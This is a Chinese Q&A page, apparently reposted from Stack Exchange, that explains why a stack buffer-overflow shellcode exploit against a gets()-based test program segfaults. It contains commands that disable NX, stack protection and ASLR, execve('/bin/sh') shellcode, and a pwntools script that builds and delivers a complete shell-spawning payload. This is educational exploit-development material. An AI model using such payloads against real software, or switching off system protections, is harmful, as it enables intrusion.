You need to enable JavaScript to run this app.
最新活动
大模型
产品
解决方案
定价
生态与合作
支持与服务
开发者
了解我们

利用过程中出现Segmentation Fault:缓冲区溢出执行Shellcode遇段错误求助

搞定你的缓冲区溢出段错误问题

咱们一步步来拆解你遇到的问题——想通过缓冲区溢出执行shellcode却触发了段错误,先从你的代码和汇编入手分析,再给出具体的解决步骤。

先看你的代码里的“坑”

你的C代码用了gets(buffer),这函数简直是缓冲区溢出的“完美助攻”——完全不检查输入长度,肯定能溢出,但为啥会触发段错误?先结合汇编看栈布局:

0x000055555555463a <+0>: push rbp
0x000055555555463b <+1>: mov rbp,rsp
0x000055555555463e <+4>: sub rsp,0x50  ; 栈上分配了80字节空间
0x0000555555554642 <+8>: mov DWORD PTR [rbp-0x44],edi  ; argc存在rbp-0x44
0x0000555555554645 <+11>: mov QWORD PTR [rbp-0x50],rsi  ; argv存在rbp-0x50

你的buffer[64]起始地址是rbp-0x40(刚好64字节空间),要覆盖返回地址,得先填满buffer(64字节),再覆盖栈帧的rbp值(x86_64是8字节),最后才是你要跳转的地址。如果这里偏移量算错,直接就会跳转到非法内存触发段错误。

但除了偏移量,还有几个更常见的原因:

段错误的核心原因及解决办法

1. 栈被设置为不可执行(NX/DEP保护)

现在几乎所有系统默认开启NX保护——栈内存只有读写权限,没有执行权限。你把shellcode写到栈上再跳过去,CPU直接就会抛出段错误。

  • 测试阶段可以关闭NX:编译时加参数-z execstack,再关掉栈保护-fno-stack-protector
    gcc -fno-stack-protector -z execstack vuln.c -o vuln
    

2. ASLR地址随机化搞鬼

如果系统开了ASLR,每次运行程序时栈地址都会随机变化,你硬编码的shellcode地址自然就失效了,跳过去肯定踩非法内存。

  • 测试时可以临时关闭ASLR:
    echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
    
    要是想在开启ASLR的情况下利用,就得先通过信息泄露拿到栈地址,再构造payload。

3. 偏移量计算错误

刚才说的buffer+rbp的总长度是64+8=72字节,但实际可能因为编译器对齐等问题有偏差,最好用工具精准计算:
用pwntools的cyclic工具生成测试payload,看崩溃时覆盖的返回地址:

from pwn import *

# 生成100字节的测试pattern
payload = cyclic(100)
p = process('./vuln')
p.sendline(payload)
p.wait()

# 读取崩溃时rsp指向的返回地址
crash_addr = p.corefile.read(p.corefile.rsp, 8)
offset = cyclic_find(crash_addr)
print(f"覆盖返回地址需要填充{offset}字节")

这样得到的偏移量绝对准确,不会再因为填多填少踩坑。

正确构造shellcode payload的步骤

  1. 准备可执行栈的程序:用刚才的编译命令生成关闭保护的程序。
  2. 选靠谱的shellcode:x86_64下的execve("/bin/sh") shellcode,比如:
    \x48\x31\xf6\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x48\x31\xc0\xb0\x3b\x0f\x05
    
  3. 构造最终payload
    假设offset是72,shellcode放在payload开头,返回地址跳转到buffer的起始地址(比如调试时拿到的rbp-0x40对应的地址):
    from pwn import *
    
    shellcode = b"\x48\x31\xf6\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x48\x31\xc0\xb0\x3b\x0f\x05"
    offset = 72
    # 假设buffer起始地址是0x7fffffffde80(调试时用gdb的x/10x $rbp-0x40获取)
    buffer_addr = p64(0x7fffffffde80)
    
    payload = shellcode + b'A'*(offset - len(shellcode)) + buffer_addr
    p = process('./vuln')
    p.sendline(payload)
    p.interactive()
    

调试小技巧

用gdb看崩溃细节,能帮你快速定位问题:

gdb ./vuln
# 加载payload文件运行
run < payload.txt
# 看寄存器状态,尤其是rsp和rip
info registers
# 看栈上的内容,检查shellcode有没有正确写入
x/20x $rsp

内容的提问来源于stack exchange,提问作者elguerrero

火山引擎 最新活动